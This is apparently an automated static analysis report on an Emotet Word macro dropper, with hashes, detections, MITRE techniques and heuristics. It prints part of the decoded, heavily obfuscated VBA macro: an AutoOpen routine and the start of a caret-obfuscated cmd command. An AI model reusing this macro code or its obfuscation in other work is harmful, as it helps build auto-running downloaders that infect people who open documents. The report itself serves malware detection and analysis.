Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 05dc7c3a91d9402c…

MALICIOUS

Office (OLE)

123.5 KB Created: 2018-09-27 16:37:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: adb5f80b1bfbcf5dc66cd713485f4436 SHA-1: d1774bdb9737e28b079cff487fd0e2a9a3397fa1 SHA-256: 05dc7c3a91d9402c426865acdedbc42e4a691f4e328b401ed4ecbe483e077483
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample was identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-6826530-0. Static analysis revealed the presence of a VBA macro with an AutoOpen subroutine, which is a common technique for Emotet. The macro contains a Shell() call, indicating it is likely designed to download and execute a second-stage payload. The presence of the AutoOpen macro and the Shell() call strongly suggests a malicious intent, likely for initial access via spearphishing.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6826530-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826530-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20267 bytes
SHA-256: 74a6c1f41a15dc8175f8af65f184d69a2dd0a246b965041aa6a8209f77059d17
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "oIkdvbi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim tlYjhm(2)
tlYjhm(0) = InStr(WHjwhl + iDFCCZSNcamGvSlJjhRqdT + jtFcrTLr, RjUSfSEL + apwYzNBRMcjYzHAjSuD + JApOBwlS) + Right(TuvhiP + aNQiKifLEblRXOwmzA + JTGLpEa, 413) + InStr(jciba + fVnhqzvzpSidInHOD + bkjHYhuS, GlUiitTp + sOHnqGUqUMmWCzjFRBiL + rmfdunY) + Right(BMdvQR + cJbTOikvkjpONDwUtqw + qJkhZBSn, 180)
tlYjhm(1) = Left(CDIdD + wDoGzJAkRzOjfdFzCBtRw + LBZCVQzo, 964) + Right(jJwYZRAq + XZPfXGtAmsaLchwhQujz + vAiccRGl, 933) + InStrRev(JXzKEot + IwUQwEIiwqaaFPXdUmp + jRKwWMGn, lzjNdsM + AwBimEpQPWTjjhZGlR + SsAiY) + Left(kIphOqfi + SWpYlORAdwTGLvjqlr + WfNilUqE, 984)
   Dim AREYJr(1)
AREYJr(0) = InStr(nTlYwQZ + zKhwLwSChYVQizNjSMC + nDHLw, wZQZcDw + GFGJEPkbqzDpvuUKIQnTu + vlSnfCX) + InStrRev(GvPIX + qIKdIiVqilhdTmdUzJj + fziowVMn, wLkWSQQ + wQqMsUkGDTVJzPzhjVVwrsW + mLDiVjO)
   Dim onEIf(1)
onEIf(0) = Left(Iuhmv + LPQXwbmQCKkNuYNjMJRCP + QXasM, 674) + Left(qialqJaY + wuoGjIZPCSuNALPqXqbw + wXnWW, 738)
   Dim pCiJj(2)
pCiJj(0) = InStrRev(uTBHsPY + NvVTPcjCrnGvJPjLwrc + wwLhAm, QbWrIu + WzHrpwKlRrjtkjEWQ + kPnSqUmY) + Right(jwauV + XABwjvXzhlKEvYNrEWj + NjlzPr, 990)
pCiJj(1) = Right(czQQC + PKqmBNhzCCjiSVdizKasH + AbZTfV, 244) + InStr(MsrWzGDz + SkrWLumTKoRiEBIfXjU + tviHjtG, SPmIFNY + LLAuJrmFvRpIwdQQfjH + mPpsE) + Left(HiiIwbwl + znLKqKJtbzINHoItw + IAKLiqf, 764) + InStr(ZOmTsBw + iLUzwQEomqrPfLzff + FwSjwfj, MoZPVoCM + lrBonjWohBRZzEfPSfUa + CSBuqIn)
   Dim npUOPh(1)
npUOPh(0) = Right(PnNVZJ + HbaRzTWIUSAkAZjVGNRF + UdjMFM, 46) + InStrRev(OInMpUTa + OimONilQPWqWmCipCHQSkmR + TAmmLJ, iOViUvO + XlAKKihDowQBcwincjiMNWw + whLCzH)
Clczzzm (KeyString(uAijdi + YzRCis + 8 + 11 + 48 + wrmkmjSs + juJYzRc) + KRCMDcHP + LAtPvI + KeyString(thLhlI + UOzAz + 9 + 12 + 56 + zuctiiI + tiMkmi) + ErtLrpVua + MQawQ + tqojiqC + FqKEcaHLrna + NIWFsIVa + lZAHwaq)
   Dim YmoODQ(2)
YmoODQ(0) = Left(dwQtOQ + pQXrWnGPpqzaNNVHJZ + owmsiz, 763) + InStrRev(OGIJS + hzhzNZuPUHftJczivjwIHb + jTESqLw, rvFOw + KrHdAlfLkGmjrusOaLB + ukTjzr) + Left(rVwPTpjw + GGFMpSRXWjRQIiQSvOUQI + sKEFMQ, 747) + InStrRev(KOiuASbj + aFpofGfsbmpwZGTFKTi + PaAVS, nTuUIDVZ + kuuJVRQSMIbnuvJFGuNPn + CzTWku)
YmoODQ(1) = InStrRev(jjADuI + rQfLjYwZzUWfGKz + zDbNVY, JZiwX + wInqBYwnaNNMsutPDnpR + pMpAS) + InStr(JzjzWJ + iHonILwHjjCHniwiMMfwUC + MXwWl, ZjAdhv + aTiVNRXHYaBKTlPIljS + WmOCIMQn)
   Dim MZdtmJ(2)
MZdtmJ(0) = InStrRev(WTrGD + kHMDqfYKwOwXOnkfBOuqFIf + IZwHtK, adqwo + uXMCujjucudqvKCGB + GDNll) + Left(UdNAI + vdiiYOBwhmkTijMVrRJpI + KZzhdi, 408)
MZdtmJ(1) = Left(hTXcCBbE + AqTojfnmQloakbjREE + izcKjSqp, 97) + InStrRev(zjqlS + vRJOstmdZunbukwlUDTNa + RnPNqOP, wkTGj + TQvSiMnEvOhDjhNbzN + jXMlmMR)
   Dim wwAzf(1)
wwAzf(0) = Right(CacIuAib + AmsHZsijuVcaankpbGESRY + cpfpkEq, 222) + InStrRev(MXDRQQUa + CVhGzlFpUbjAIFriXkPIWhM + pnwqw, HHZrwzB + OdXvMhPpDPmZlzvz + llbZwk) + Left(mYiAzI + qzRGiBuKtwzGzDBFswVNoXB + jmQDVvJ, 966) + InStrRev(nkqQi + KHnUhuJftUjdiPdIdtdKp + CAsCfr, NtPKz + YKBpOUFmamujzzPNs + JOcbcVo)
   Dim Edmhi(2)
Edmhi(0) = InStr(ApzKilaV + RnFVIIjwHOOuHnjhhElapic + rBnhbUzA, vUCiDah + pXwJjnzoMQmfvvHhmZInQ + NiViAHwh) + Right(srHtbf + wwQYHbdGzVhjiaVTzMIq + iOiMnK, 889) + Left(SrioX + tHwMqKYZTGMVIRAcNvuM + rjQbAlw, 483) + InStrRev(BtlizD + UEhTZcjQujIzuIlwwYhInbHo + SfJlHsk, KnskwD + TGlzjzJOmwusRjWPXXr + sanGDo)
Edmhi(1) = Right(vrnhd + fAXsFnwszYAZnVEMGJMCK + rzAdH, 814) + InStrRev(kXAzzktu + foLRZMcQaZSzEwziOs + lDwMcGcM, uflpaZ + iZcPRZftnuQjPzNbRjWoN + ChiOV) + InStrRev(wNIVW + ZzNoSzfiuPMzElODRW + fRTHjBoU, DsmIzvN + wnzJdDFXHSUBiWzqCduZ + uMwzlSq) + Right(HJfIqDVw + lHBZmawWMtENnrRFlobQ + pCNIm, 633)
End Sub


Attribute VB_Name = "iRVUSIA"
Function ErtLrpVua()
ZLtDnZJln = "d /V/C" + """" + "^s^e^t" + " ^x^i^U^5=^ ^ ^ ^ ^ " + "^ ^ ^ ^ ^ ^ ^ ^ ^ ^ "
Dim ZoKrV(1)
ZoKrV(0) = Right(lvEGjz + SNLPWntHAhNOKQYqQ + iDRRAcNi, 776) +
... (truncated)

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